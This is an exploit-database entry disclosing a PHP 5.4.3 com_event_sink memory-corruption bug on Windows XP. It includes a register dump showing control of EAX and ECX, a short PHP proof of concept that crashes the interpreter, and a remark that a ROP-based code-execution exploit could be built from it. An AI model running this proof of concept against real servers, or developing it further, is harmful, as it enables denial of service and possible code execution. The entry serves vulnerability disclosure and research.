PHP <= 5.4.3 (com_event_sink) Denial of Service

ID 1337DAY-ID-18325
Type zdt
Reporter condis
Modified 2012-05-21T00:00:00


Exploit for php platform in category dos / poc

PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept
Found by condis
Tested on:
    PHP 5.3.8  + Windows XP SP3 Professional PL
    PHP 5.3.10 + Windows XP SP3 Professional PL
    PHP 5.4.0  + Windows XP SP3 Professional PL
    PHP 5.4.3  + Windows XP SP3 Professional PL
    This is a very strange bug and I had a really hard time trying to classify
    it, but lets start from the beginning.
    As we can read in PHP manual : com_event_sink function connects events from
    COM object to a PHP object. First argument should be a COM object. But when
    I set it up to new Variant(), PHP instance crashed.
    After few minutes of research it was clear to me that we can control EAX
    register by defining first parameter of our Variant object.
    The proof of concept code located below should produce situation similar to
    this :
    eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000
    eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    100f33d4 50              push    eax
    100f33d5 8b01            mov     eax,dword ptr [ecx]  ds:0023:41414141=????????
    100f33d7 ffd0            call    eax
    IMHO it is possible to write a reliable exploit using i.e.: ROP method but due
    to lack of free time and skill I leave this task to someone else. Also 0in tried
    to write stable exploit for same bug in com_print_typeinfo() function but as far
    as I know it isn't stable enough :(
Greetz: cxib, 0in, and others ;>
$EAX   = 0x024E0050;            // stack starts at 0x024E0050 (in my case)
$stack = str_repeat("x41", 0x1000000);  // putting some garbage on the stack so the ECX would be 41414141
class foo { }
com_event_sink(new Variant($EAX), new foo(), array()); 

# [2018-01-09]  #